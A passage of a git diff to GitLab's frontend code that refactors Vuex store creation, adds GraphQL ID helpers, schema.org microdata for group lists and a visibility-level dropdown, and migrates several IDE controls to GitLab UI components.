@@ -28,11 +29,15 @@ export default function initFrequentItemDropdowns() {
return;
}
+ const dropdownType = namespace;
+ const store = createStore({ dropdownType });
+
import('./components/app.vue')
.then(({ default: FrequentItems }) => {
// eslint-disable-next-line no-new
new Vue({
el,
+ store,
data() {
const { dataset } = this.$options.el;
const item = {
diff --git a/app/assets/javascripts/frequent_items/store/index.js b/app/assets/javascripts/frequent_items/store/index.js
index ece9e6419dd..83176d69802 100644
--- a/app/assets/javascripts/frequent_items/store/index.js
+++ b/app/assets/javascripts/frequent_items/store/index.js
@@ -7,10 +7,11 @@ import state from './state';
Vue.use(Vuex);
-export default () =>
- new Vuex.Store({
+export const createStore = (initState = {}) => {
+ return new Vuex.Store({
actions,
getters,
mutations,
- state: state(),
+ state: state(initState),
});
+};
diff --git a/app/assets/javascripts/frequent_items/store/state.js b/app/assets/javascripts/frequent_items/store/state.js
index 75b04febee4..c5c0b25fdf2 100644
--- a/app/assets/javascripts/frequent_items/store/state.js
+++ b/app/assets/javascripts/frequent_items/store/state.js
@@ -1,5 +1,6 @@
-export default () => ({
+export default ({ dropdownType = '' } = {}) => ({
namespace: '',
+ dropdownType,
storageKey: '',
searchQuery: '',
isLoadingItems: false,
diff --git a/app/assets/javascripts/gfm_auto_complete.js b/app/assets/javascripts/gfm_auto_complete.js
index 14538ad7237..dcb27434a07 100644
--- a/app/assets/javascripts/gfm_auto_complete.js
+++ b/app/assets/javascripts/gfm_auto_complete.js
@@ -78,6 +78,7 @@ class GfmAutoComplete {
this.input.each((i, input) => {
const $input = $(input);
if (!$input.hasClass('js-gfm-input-initialized')) {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$input.off('focus.setupAtWho').on('focus.setupAtWho', this.setupAtWho.bind(this, $input));
$input.on('change.atwho', () => input.dispatchEvent(new Event('input')));
// This triggers at.js again
diff --git a/app/assets/javascripts/gl_field_error.js b/app/assets/javascripts/gl_field_error.js
index ac4c8d28ee4..60f1b7f5aa4 100644
--- a/app/assets/javascripts/gl_field_error.js
+++ b/app/assets/javascripts/gl_field_error.js
@@ -80,6 +80,7 @@ export default class GlFieldError {
// hidden when injected into DOM
errorAnchor.after(this.fieldErrorElement);
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.inputElement.off('invalid').on('invalid', this.handleInvalidSubmit.bind(this));
this.scopedSiblings = this.safelySelectSiblings();
}
@@ -117,6 +118,7 @@ export default class GlFieldError {
this.form.focusInvalid.apply(this.form);
// For UX, wait til after first invalid submission to check each keyup
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.inputElement
.off('keyup.fieldValidator')
.on('keyup.fieldValidator', this.updateValidity.bind(this));
diff --git a/app/assets/javascripts/gl_form.js b/app/assets/javascripts/gl_form.js
index 6958cf4c173..4a3755f39cc 100644
--- a/app/assets/javascripts/gl_form.js
+++ b/app/assets/javascripts/gl_form.js
@@ -70,8 +70,10 @@ export default class GLForm {
}
setupAutosize() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.textarea.off('autosize:resized').on('autosize:resized', this.setHeightData.bind(this));
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.textarea.off('mouseup.autosize').on('mouseup.autosize', this.destroyAutosize.bind(this));
setTimeout(() => {
@@ -97,7 +99,9 @@ export default class GLForm {
}
clearEventListeners() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.textarea.off('focus');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.textarea.off('blur');
removeMarkdownListeners(this.form);
}
diff --git a/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql b/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
new file mode 100644
index 00000000000..b64ceb8e2c9
--- /dev/null
+++ b/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
@@ -0,0 +1,9 @@
+#import "../fragments/user.fragment.graphql"
+
+query usersSearch($search: String!) {
+ users(search: $search) {
+ nodes {
+ ...User
+ }
+ }
+}
diff --git a/app/assets/javascripts/graphql_shared/utils.js b/app/assets/javascripts/graphql_shared/utils.js
index 5487aeb9391..813e21b6ce9 100644
--- a/app/assets/javascripts/graphql_shared/utils.js
+++ b/app/assets/javascripts/graphql_shared/utils.js
@@ -14,3 +14,41 @@ export const MutationOperationMode = {
Remove: 'REMOVE',
Replace: 'REPLACE',
};
+
+/**
+ * Possible GraphQL entity types.
+ */
+export const TYPE_GROUP = 'Group';
+
+/**
+ * Ids generated by GraphQL endpoints are usually in the format
+ * gid://gitlab/Groups/123. This method takes a type and an id
+ * and interpolates the 2 values into the expected GraphQL ID format.
+ *
+ * @param {String} type The entity type
+ * @param {String|Number} id The id value
+ * @returns {String}
+ */
+export const convertToGraphQLId = (type, id) => {
+ if (typeof type !== 'string') {
+ throw new TypeError(`type must be a string; got ${typeof type}`);
+ }
+
+ if (!['number', 'string'].includes(typeof id)) {
+ throw new TypeError(`id must be a number or string; got ${typeof id}`);
+ }
+
+ return `gid://gitlab/${type}/${id}`;
+};
+
+/**
+ * Ids generated by GraphQL endpoints are usually in the format
+ * gid://gitlab/Groups/123. This method takes a type and an
+ * array of ids and tranforms the array values into the expected
+ * GraphQL ID format.
+ *
+ * @param {String} type The entity type
+ * @param {Array} ids An array of id values
+ * @returns {Array}
+ */
+export const convertToGraphQLIds = (type, ids) => ids.map(id => convertToGraphQLId(type, id));
diff --git a/app/assets/javascripts/groups/components/group_folder.vue b/app/assets/javascripts/groups/components/group_folder.vue
index d2a613bed4f..5f169832ee4 100644
--- a/app/assets/javascripts/groups/components/group_folder.vue
+++ b/app/assets/javascripts/groups/components/group_folder.vue
@@ -49,7 +49,7 @@ export default {
/>
<li v-if="hasMoreChildren" class="group-row">
<a :href="parentGroup.relativePath" class="group-row-contents has-more-items py-2">
- <gl-icon name="external-link" aria-hidden="true" /> {{ moreChildrenStats }}
+ <gl-icon name="external-link" /> {{ moreChildrenStats }}
</a>
</li>
</ul>
diff --git a/app/assets/javascripts/groups/components/group_item.vue b/app/assets/javascripts/groups/components/group_item.vue
index 6e99b6ad4fa..ef58b93c049 100644
--- a/app/assets/javascripts/groups/components/group_item.vue
+++ b/app/assets/javascripts/groups/components/group_item.vue
@@ -74,6 +74,9 @@ export default {
visibilityTooltip() {
return GROUP_VISIBILITY_TYPE[this.group.visibility];
},
+ microdata() {
+ return this.group.microdata || {};
+ },
},
mounted() {
if (this.group.name === 'Learn GitLab') {
@@ -99,7 +102,15 @@ export default {
</script>
<template>
- <li :id="groupDomId" :class="rowClass" class="group-row" @click.stop="onClickRowGroup">
+ <li
+ :id="groupDomId"
+ :class="rowClass"
+ class="group-row"
+ :itemprop="microdata.itemprop"
+ :itemtype="microdata.itemtype"
+ :itemscope="microdata.itemscope"
+ @click.stop="onClickRowGroup"
+ >
<div
:class="{ 'project-row-contents': !isGroup }"
class="group-row-contents d-flex align-items-center py-2 pr-3"
@@ -118,7 +129,13 @@ export default {
class="avatar-container rect-avatar s32 d-none flex-grow-0 flex-shrink-0 "
>
<a :href="group.relativePath" class="no-expand">
- <img v-if="hasAvatar" :src="group.avatarUrl" class="avatar s40" />
+ <img
+ v-if="hasAvatar"
+ :src="group.avatarUrl"
+ data-testid="group-avatar"
+ class="avatar s40"
+ :itemprop="microdata.imageItemprop"
+ />
<identicon v-else :entity-id="group.id" :entity-name="group.name" size-class="s40" />
</a>
</div>
@@ -127,9 +144,11 @@ export default {
<div class="d-flex align-items-center flex-wrap title namespace-title gl-mr-3">
<a
v-gl-tooltip.bottom
+ data-testid="group-name"
:href="group.relativePath"
:title="group.fullName"
class="no-expand gl-mt-3 gl-mr-3 gl-text-gray-900!"
+ :itemprop="microdata.nameItemprop"
>{{
// ending bracket must be by closing tag to prevent
// link hover text-decoration from over-extending
@@ -146,7 +165,12 @@ export default {
</span>
</div>
<div v-if="group.description" class="description">
- <span v-html="group.description"> </span>
+ <span
+ :itemprop="microdata.descriptionItemprop"
+ data-testid="group-description"
+ v-html="group.description"
+ >
+ </span>
</div>
</div>
<div v-if="isGroupPendingRemoval">
diff --git a/app/assets/javascripts/groups/components/visibility_level_dropdown.vue b/app/assets/javascripts/groups/components/visibility_level_dropdown.vue
new file mode 100644
index 00000000000..ff0f8c3ff46
--- /dev/null
+++ b/app/assets/javascripts/groups/components/visibility_level_dropdown.vue
@@ -0,0 +1,48 @@
+<script>
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ },
+ props: {
+ visibilityLevelOptions: {
+ type: Array,
+ required: true,
+ },
+ defaultLevel: {
+ type: Number,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ selectedOption: this.getDefaultOption(),
+ };
+ },
+ methods: {
+ getDefaultOption() {
+ return this.visibilityLevelOptions.find(option => option.level === this.defaultLevel);
+ },
+ onClick(option) {
+ this.selectedOption = option;
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <input type="hidden" name="group[visibility_level]" :value="selectedOption.level" />
+ <gl-dropdown :text="selectedOption.label" class="gl-w-full" menu-class="gl-w-full! gl-mb-0">
+ <gl-dropdown-item
+ v-for="option in visibilityLevelOptions"
+ :key="option.level"
+ :secondary-text="option.description"
+ @click="onClick(option)"
+ >
+ <div class="gl-font-weight-bold gl-mb-1">{{ option.label }}</div>
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </div>
+</template>
diff --git a/app/assets/javascripts/groups/index.js b/app/assets/javascripts/groups/index.js
index 522f1d16df2..e11c3aaf984 100644
--- a/app/assets/javascripts/groups/index.js
+++ b/app/assets/javascripts/groups/index.js
@@ -47,8 +47,9 @@ export default (containerId = 'js-groups-tree', endpoint, action = '') => {
data() {
const { dataset } = dataEl || this.$options.el;
const hideProjects = parseBoolean(dataset.hideProjects);
+ const showSchemaMarkup = parseBoolean(dataset.showSchemaMarkup);
const service = new GroupsService(endpoint || dataset.endpoint);
- const store = new GroupsStore(hideProjects);
+ const store = new GroupsStore({ hideProjects, showSchemaMarkup });
return {
action,
diff --git a/app/assets/javascripts/groups/members/components/app.vue b/app/assets/javascripts/groups/members/components/app.vue
index 2e6dd4a0bad..f6f3a955813 100644
--- a/app/assets/javascripts/groups/members/components/app.vue
+++ b/app/assets/javascripts/groups/members/components/app.vue
@@ -1,13 +1,16 @@
<script>
import { mapState, mapMutations } from 'vuex';
import { GlAlert } from '@gitlab/ui';
-import MembersTable from '~/vue_shared/components/members/table/members_table.vue';
+import MembersTable from '~/members/components/table/members_table.vue';
+import FilterSortContainer from '~/members/components/filter_sort/filter_sort_container.vue';
import { scrollToElement } from '~/lib/utils/common_utils';
-import { HIDE_ERROR } from '~/vuex_shared/modules/members/mutation_types';
+import { HIDE_ERROR } from '~/members/store/mutation_types';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
name: 'GroupMembersApp',
- components: { MembersTable, GlAlert },
+ components: { MembersTable, FilterSortContainer, GlAlert },
+ mixins: [glFeatureFlagsMixin()],
computed: {
...mapState(['showError', 'errorMessage']),
},
@@ -33,6 +36,7 @@ export default {
<gl-alert v-if="showError" ref="errorAlert" variant="danger" @dismiss="hideError">{{
errorMessage
}}</gl-alert>
+ <filter-sort-container v-if="glFeatures.groupMembersFilteredSearch" />
<members-table />
</div>
</template>
diff --git a/app/assets/javascripts/groups/members/index.js b/app/assets/javascripts/groups/members/index.js
index cb28fb057c9..9ce0e3c1179 100644
--- a/app/assets/javascripts/groups/members/index.js
+++ b/app/assets/javascripts/groups/members/index.js
@@ -3,9 +3,18 @@ import Vuex from 'vuex';
import { GlToast } from '@gitlab/ui';
import { parseDataAttributes } from 'ee_else_ce/groups/members/utils';
import App from './components/app.vue';
-import membersModule from '~/vuex_shared/modules/members';
+import membersStore from '~/members/store';
-export const initGroupMembersApp = (el, tableFields, tableAttrs, requestFormatter) => {
+export const initGroupMembersApp = (
+ el,
+ {
+ tableFields = [],
+ tableAttrs = {},
+ tableSortableFields = [],
+ requestFormatter = () => {},
+ filteredSearchBar = { show: false },
+ },
+) => {
if (!el) {
return () => {};
}
@@ -13,15 +22,17 @@ export const initGroupMembersApp = (el, tableFields, tableAttrs, requestFormatte
Vue.use(Vuex);
Vue.use(GlToast);
- const store = new Vuex.Store({
- ...membersModule({
+ const store = new Vuex.Store(
+ membersStore({
...parseDataAttributes(el),
currentUserId: gon.current_user_id || null,
tableFields,
tableAttrs,
+ tableSortableFields,
requestFormatter,
+ filteredSearchBar,
}),
- });
+ );
return new Vue({
el,
diff --git a/app/assets/javascripts/groups/members/utils.js b/app/assets/javascripts/groups/members/utils.js
index 662eecc4e38..2d584556bbc 100644
--- a/app/assets/javascripts/groups/members/utils.js
+++ b/app/assets/javascripts/groups/members/utils.js
@@ -1,5 +1,5 @@
import { isUndefined } from 'lodash';
-import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { convertObjectPropsToCamelCase, parseBoolean } from '~/lib/utils/common_utils';
import {
GROUP_MEMBER_BASE_PROPERTY_NAME,
GROUP_MEMBER_ACCESS_LEVEL_PROPERTY_NAME,
@@ -8,12 +8,13 @@ import {
} from './constants';
export const parseDataAttributes = el => {
- const { members, groupId, memberPath } = el.dataset;
+ const { members, groupId, memberPath, canManageMembers } = el.dataset;
return {
members: convertObjectPropsToCamelCase(JSON.parse(members), { deep: true }),
sourceId: parseInt(groupId, 10),
memberPath,
+ canManageMembers: parseBoolean(canManageMembers),
};
};
diff --git a/app/assets/javascripts/groups/store/groups_store.js b/app/assets/javascripts/groups/store/groups_store.js
index 6a1197fa163..b6cea38e87f 100644
--- a/app/assets/javascripts/groups/store/groups_store.js
+++ b/app/assets/javascripts/groups/store/groups_store.js
@@ -1,11 +1,13 @@
import { normalizeHeaders, parseIntPagination } from '../../lib/utils/common_utils';
+import { getGroupItemMicrodata } from './utils';
export default class GroupsStore {
- constructor(hideProjects) {
+ constructor({ hideProjects = false, showSchemaMarkup = false } = {}) {
this.state = {};
this.state.groups = [];
this.state.pageInfo = {};
this.hideProjects = hideProjects;
+ this.showSchemaMarkup = showSchemaMarkup;
}
setGroups(rawGroups) {
@@ -94,6 +96,7 @@ export default class GroupsStore {
starCount: rawGroupItem.star_count,
updatedAt: rawGroupItem.updated_at,
pendingRemoval: rawGroupItem.marked_for_deletion,
+ microdata: this.showSchemaMarkup ? getGroupItemMicrodata(rawGroupItem) : {},
};
}
diff --git a/app/assets/javascripts/groups/store/utils.js b/app/assets/javascripts/groups/store/utils.js
new file mode 100644
index 00000000000..371b3aa9d52
--- /dev/null
+++ b/app/assets/javascripts/groups/store/utils.js
@@ -0,0 +1,27 @@
+export const getGroupItemMicrodata = ({ type }) => {
+ const defaultMicrodata = {
+ itemscope: true,
+ itemtype: 'https://schema.org/Thing',
+ itemprop: 'owns',
+ imageItemprop: 'image',
+ nameItemprop: 'name',
+ descriptionItemprop: 'description',
+ };
+
+ switch (type) {
+ case 'group':
+ return {
+ ...defaultMicrodata,
+ itemtype: 'https://schema.org/Organization',
+ itemprop: 'subOrganization',
+ imageItemprop: 'logo',
+ };
+ case 'project':
+ return {
+ ...defaultMicrodata,
+ itemtype: 'https://schema.org/SoftwareSourceCode',
+ };
+ default:
+ return defaultMicrodata;
+ }
+};
diff --git a/app/assets/javascripts/groups/visibility_level.js b/app/assets/javascripts/groups/visibility_level.js
new file mode 100644
index 00000000000..d570b5e65ac
--- /dev/null
+++ b/app/assets/javascripts/groups/visibility_level.js
@@ -0,0 +1,24 @@
+import Vue from 'vue';
+import VisibilityLevelDropdown from './components/visibility_level_dropdown.vue';
+
+export default () => {
+ const el = document.querySelector('.js-visibility-level-dropdown');
+
+ if (!el) {
+ return null;
+ }
+
+ const { visibilityLevelOptions, defaultLevel } = el.dataset;
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(VisibilityLevelDropdown, {
+ props: {
+ visibilityLevelOptions: JSON.parse(visibilityLevelOptions),
+ defaultLevel: Number(defaultLevel),
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/groups_select.js b/app/assets/javascripts/groups_select.js
index aac23db8fd6..29af8c77d25 100644
--- a/app/assets/javascripts/groups_select.js
+++ b/app/assets/javascripts/groups_select.js
@@ -4,97 +4,107 @@ import axios from './lib/utils/axios_utils';
import Api from './api';
import { normalizeHeaders } from './lib/utils/common_utils';
import { __ } from '~/locale';
+import { loadCSSFile } from './lib/utils/css_utils';
+
+const fetchGroups = params => {
+ axios[params.type.toLowerCase()](params.url, {
+ params: params.data,
+ })
+ .then(res => {
+ const results = res.data || [];
+ const headers = normalizeHeaders(res.headers);
+ const currentPage = parseInt(headers['X-PAGE'], 10) || 0;
+ const totalPages = parseInt(headers['X-TOTAL-PAGES'], 10) || 0;
+ const more = currentPage < totalPages;
+
+ params.success({
+ results,
+ pagination: {
+ more,
+ },
+ });
+ })
+ .catch(params.error);
+};
const groupsSelect = () => {
- // Needs to be accessible in rspec
- window.GROUP_SELECT_PER_PAGE = 20;
- $('.ajax-groups-select').each(function setAjaxGroupsSelect2() {
- const $select = $(this);
- const allAvailable = $select.data('allAvailable');
- const skipGroups = $select.data('skipGroups') || [];
- const parentGroupID = $select.data('parentId');
- const groupsPath = parentGroupID
- ? Api.subgroupsPath.replace(':id', parentGroupID)
- : Api.groupsPath;
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ // Needs to be accessible in rspec
+ window.GROUP_SELECT_PER_PAGE = 20;
- $select.select2({
- placeholder: __('Search for a group'),
- allowClear: $select.hasClass('allowClear'),
- multiple: $select.hasClass('multiselect'),
- minimumInputLength: 0,
- ajax: {
- url: Api.buildUrl(groupsPath),
- dataType: 'json',
- quietMillis: 250,
- transport(params) {
- axios[params.type.toLowerCase()](params.url, {
- params: params.data,
- })
- .then(res => {
- const results = res.data || [];
- const headers = normalizeHeaders(res.headers);
- const currentPage = parseInt(headers['X-PAGE'], 10) || 0;
- const totalPages = parseInt(headers['X-TOTAL-PAGES'], 10) || 0;
- const more = currentPage < totalPages;
+ $('.ajax-groups-select').each(function setAjaxGroupsSelect2() {
+ const $select = $(this);
+ const allAvailable = $select.data('allAvailable');
+ const skipGroups = $select.data('skipGroups') || [];
+ const parentGroupID = $select.data('parentId');
+ const groupsPath = parentGroupID
+ ? Api.subgroupsPath.replace(':id', parentGroupID)
+ : Api.groupsPath;
- params.success({
- results,
- pagination: {
- more,
- },
- });
- })
- .catch(params.error);
- },
- data(search, page) {
- return {
- search,
- page,
- per_page: window.GROUP_SELECT_PER_PAGE,
- all_available: allAvailable,
- };
- },
- results(data, page) {
- if (data.length) return { results: [] };
+ $select.select2({
+ placeholder: __('Search for a group'),
+ allowClear: $select.hasClass('allowClear'),
+ multiple: $select.hasClass('multiselect'),
+ minimumInputLength: 0,
+ ajax: {
+ url: Api.buildUrl(groupsPath),
+ dataType: 'json',
+ quietMillis: 250,
+ transport(params) {
+ fetchGroups(params);
+ },
+ data(search, page) {
+ return {
+ search,
+ page,
+ per_page: window.GROUP_SELECT_PER_PAGE,
+ all_available: allAvailable,
+ };
+ },
+ results(data, page) {
+ if (data.length) return { results: [] };
- const groups = data.length ? data : data.results || [];
- const more = data.pagination ? data.pagination.more : false;
- const results = groups.filter(group => skipGroups.indexOf(group.id) === -1);
+ const groups = data.length ? data : data.results || [];
+ const more = data.pagination ? data.pagination.more : false;
+ const results = groups.filter(group => skipGroups.indexOf(group.id) === -1);
- return {
- results,
- page,
- more,
- };
- },
- },
- // eslint-disable-next-line consistent-return
- initSelection(element, callback) {
- const id = $(element).val();
- if (id !== '') {
- return Api.group(id, callback);
- }
- },
- formatResult(object) {
- return `<div class='group-result'> <div class='group-name'>${escape(
- object.full_name,
- )}</div> <div class='group-path'>${object.full_path}</div> </div>`;
- },
- formatSelection(object) {
- return escape(object.full_name);
- },
- dropdownCssClass: 'ajax-groups-dropdown select2-infinite',
- // we do not want to escape markup since we are displaying html in results
- escapeMarkup(m) {
- return m;
- },
- });
+ return {
+ results,
+ page,
+ more,
+ };
+ },
+ },
+ // eslint-disable-next-line consistent-return
+ initSelection(element, callback) {
+ const id = $(element).val();
+ if (id !== '') {
+ return Api.group(id, callback);
+ }
+ },
+ formatResult(object) {
+ return `<div class='group-result'> <div class='group-name'>${escape(
+ object.full_name,
+ )}</div> <div class='group-path'>${object.full_path}</div> </div>`;
+ },
+ formatSelection(object) {
+ return escape(object.full_name);
+ },
+ dropdownCssClass: 'ajax-groups-dropdown select2-infinite',
+ // we do not want to escape markup since we are displaying html in results
+ escapeMarkup(m) {
+ return m;
+ },
+ });
- $select.on('select2-loaded', () => {
- const dropdown = document.querySelector('.select2-infinite .select2-results');
- dropdown.style.height = `${Math.floor(dropdown.scrollHeight)}px`;
- });
- });
+ $select.on('select2-loaded', () => {
+ const dropdown = document.querySelector('.select2-infinite .select2-results');
+ dropdown.style.height = `${Math.floor(dropdown.scrollHeight)}px`;
+ });
+ });
+ })
+ .catch(() => {});
};
export default () => {
diff --git a/app/assets/javascripts/header.js b/app/assets/javascripts/header.js
index 1cedb557d46..9f9708bf879 100644
--- a/app/assets/javascripts/header.js
+++ b/app/assets/javascripts/header.js
@@ -1,6 +1,5 @@
import $ from 'jquery';
import Vue from 'vue';
-import { GlToast } from '@gitlab/ui';
import Translate from '~/vue_shared/translate';
import { highCountTrim } from '~/lib/utils/text_utility';
import Tracking from '~/tracking';
@@ -35,7 +34,6 @@ function initStatusTriggers() {
const statusModalElement = document.createElement('div');
setStatusModalWrapperEl.appendChild(statusModalElement);
- Vue.use(GlToast);
Vue.use(Translate);
// eslint-disable-next-line no-new
diff --git a/app/assets/javascripts/helpers/issuables_helper.js b/app/assets/javascripts/helpers/issuables_helper.js
deleted file mode 100644
index 52d0f7e43fc..00000000000
--- a/app/assets/javascripts/helpers/issuables_helper.js
+++ /dev/null
@@ -1,27 +0,0 @@
-import CloseReopenReportToggle from '../close_reopen_report_toggle';
-
-function initCloseReopenReport() {
- const container = document.querySelector('.js-issuable-close-dropdown');
-
- if (!container) return undefined;
-
- const dropdownTrigger = container.querySelector('.js-issuable-close-toggle');
- const dropdownList = container.querySelector('.js-issuable-close-menu');
- const button = container.querySelector('.js-issuable-close-button');
-
- const closeReopenReportToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
-
- closeReopenReportToggle.initDroplab();
-
- return closeReopenReportToggle;
-}
-
-const IssuablesHelper = {
- initCloseReopenReport,
-};
-
-export default IssuablesHelper;
diff --git a/app/assets/javascripts/how_to_merge.js b/app/assets/javascripts/how_to_merge.js
deleted file mode 100644
index bb734246584..00000000000
--- a/app/assets/javascripts/how_to_merge.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import $ from 'jquery';
-
-export default () => {
- const modal = $('#modal_merge_info');
-
- if (modal) {
- modal.modal({
- modal: true,
- show: false,
- });
-
- $('.how_to_merge_link').on('click', modal.show);
- $('.modal-header .close').on('click', modal.hide);
- }
-};
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/form.vue b/app/assets/javascripts/ide/components/commit_sidebar/form.vue
index 9d2deb1d4d0..7c3e522a488 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/form.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/form.vue
@@ -134,15 +134,17 @@ export default {
@after-enter="afterEndTransition"
>
<div v-if="isCompact" ref="compactEl" class="commit-form-compact">
- <button
+ <gl-button
:disabled="!someUncommittedChanges"
- type="button"
- class="btn btn-primary btn-sm btn-block qa-begin-commit-button"
+ category="primary"
+ variant="info"
+ block
+ class="qa-begin-commit-button"
data-testid="begin-commit-button"
@click="beginCommit"
>
{{ __('Commit…') }}
- </button>
+ </gl-button>
<p class="text-center bold">{{ overviewText }}</p>
</div>
<form v-else ref="formEl" @submit.prevent.stop="commit">
@@ -158,28 +160,21 @@ export default {
<gl-button
:loading="submitCommitLoading"
class="float-left qa-commit-button"
- size="small"
category="primary"
variant="success"
@click="commit"
>
{{ __('Commit') }}
</gl-button>
- <button
- v-if="!discardDraftButtonDisabled"
- type="button"
- class="btn btn-default btn-sm float-right"
- @click="discardDraft"
- >
+ <gl-button v-if="!discardDraftButtonDisabled" class="float-right" @click="discardDraft">
{{ __('Discard draft') }}
- </button>
+ </gl-button>
<gl-button
v-else
type="button"
class="float-right"
category="secondary"
variant="default"
- size="small"
@click="toggleIsCompact"
>
{{ __('Collapse') }}
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue b/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue
index 7d08815b033..8f0e5aef456 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue
@@ -1,13 +1,9 @@
<script>
import { GlIcon, GlPopover } from '@gitlab/ui';
import { __, sprintf } from '../../../locale';
-import popover from '../../../vue_shared/directives/popover';
import { MAX_TITLE_LENGTH, MAX_BODY_LENGTH } from '../../constants';
export default {
- directives: {
- popover,
- },
components: {
GlIcon,
GlPopover,
diff --git a/app/assets/javascripts/ide/components/editor_mode_dropdown.vue b/app/assets/javascripts/ide/components/editor_mode_dropdown.vue
index dec8aa61838..52593aabfea 100644
--- a/app/assets/javascripts/ide/components/editor_mode_dropdown.vue
+++ b/app/assets/javascripts/ide/components/editor_mode_dropdown.vue
@@ -1,11 +1,12 @@
<script>
-import { GlButton } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import { viewerTypes } from '../constants';
export default {
components: {
- GlButton,
+ GlDropdown,
+ GlDropdownItem,
},
props: {
viewer: {
@@ -18,10 +19,21 @@ export default {
},
},
computed: {
- mergeReviewLine() {
- return sprintf(__('Reviewing (merge request !%{mergeRequestId})'), {
- mergeRequestId: this.mergeRequestId,
- });
+ modeDropdownItems() {
+ return [
+ {
+ viewerType: this.$options.viewerTypes.mr,
+ title: sprintf(__('Reviewing (merge request !%{mergeRequestId})'), {
+ mergeRequestId: this.mergeRequestId,
+ }),
+ content: __('Compare changes with the merge request target branch'),
+ },
+ {
+ viewerType: this.$options.viewerTypes.diff,
+ title: __('Reviewing'),
+ content: __('Compare changes with the last commit'),
+ },
+ ];
},
},
methods: {
@@ -34,39 +46,16 @@ export default {
</script>
<template>
- <div class="dropdown">
- <gl-button variant="link" data-toggle="dropdown">{{ __('Edit') }}</gl-button>
- <div class="dropdown-menu dropdown-menu-selectable dropdown-open-left">
- <ul>
- <li>
- <a
- :class="{
- 'is-active': viewer === $options.viewerTypes.mr,
- }"
- href="#"
- @click.prevent="changeMode($options.viewerTypes.mr)"
- >
- <strong class="dropdown-menu-inner-title"> {{ mergeReviewLine }} </strong>
- <span class="dropdown-menu-inner-content">
- {{ __('Compare changes with the merge request target branch') }}
- </span>
- </a>
- </li>
- <li>
- <a
- :class="{
- 'is-active': viewer === $options.viewerTypes.diff,
- }"
- href="#"
- @click.prevent="changeMode($options.viewerTypes.diff)"
- >
- <strong class="dropdown-menu-inner-title">{{ __('Reviewing') }}</strong>
- <span class="dropdown-menu-inner-content">
- {{ __('Compare changes with the last commit') }}
- </span>
- </a>
- </li>
- </ul>
- </div>
- </div>
+ <gl-dropdown :text="__('Edit')" size="small">
+ <gl-dropdown-item
+ v-for="mode in modeDropdownItems"
+ :key="mode.viewerType"
+ :is-check-item="true"
+ :is-checked="viewer === mode.viewerType"
+ @click="changeMode(mode.viewerType)"
+ >
+ <strong class="dropdown-menu-inner-title"> {{ mode.title }} </strong>
+ <span class="dropdown-menu-inner-content"> {{ mode.content }} </span>
+ </gl-dropdown-item>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/ide/components/file_templates/dropdown.vue b/app/assets/javascripts/ide/components/file_templates/dropdown.vue
index cfd2555b769..5d5b66a6444 100644
--- a/app/assets/javascripts/ide/components/file_templates/dropdown.vue
+++ b/app/assets/javascripts/ide/components/file_templates/dropdown.vue
@@ -86,7 +86,7 @@ export default {
type="search"
class="dropdown-input-field qa-dropdown-filter-input"
/>
- <gl-icon name="search" class="dropdown-input-search" aria-hidden="true" />
+ <gl-icon name="search" class="dropdown-input-search" />
</div>
<div class="dropdown-content">
<gl-loading-icon v-if="showLoading" size="lg" />
diff --git a/app/assets/javascripts/ide/components/ide.vue b/app/assets/javascripts/ide/components/ide.vue
index e1d2895831a..f8568f46cd6 100644
--- a/app/assets/javascripts/ide/components/ide.vue
+++ b/app/assets/javascripts/ide/components/ide.vue
@@ -1,14 +1,13 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
+import { GlButton, GlLoadingIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import {
WEBIDE_MARK_APP_START,
WEBIDE_MARK_FILE_FINISH,
WEBIDE_MARK_FILE_CLICKED,
- WEBIDE_MARK_TREE_FINISH,
- WEBIDE_MEASURE_TREE_FROM_REQUEST,
- WEBIDE_MEASURE_FILE_FROM_REQUEST,
WEBIDE_MEASURE_FILE_AFTER_INTERACTION,
+ WEBIDE_MEASURE_BEFORE_VUE,
} from '~/performance/constants';
import { performanceMarkAndMeasure } from '~/performance/utils';
import { modalTypes } from '../constants';
@@ -19,12 +18,6 @@ import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { measurePerformance } from '../utils';
-eventHub.$on(WEBIDE_MEASURE_TREE_FROM_REQUEST, () =>
- measurePerformance(WEBIDE_MARK_TREE_FINISH, WEBIDE_MEASURE_TREE_FROM_REQUEST),
-);
-eventHub.$on(WEBIDE_MEASURE_FILE_FROM_REQUEST, () =>
- measurePerformance(WEBIDE_MARK_FILE_FINISH, WEBIDE_MEASURE_FILE_FROM_REQUEST),
-);
eventHub.$on(WEBIDE_MEASURE_FILE_AFTER_INTERACTION, () =>
measurePerformance(
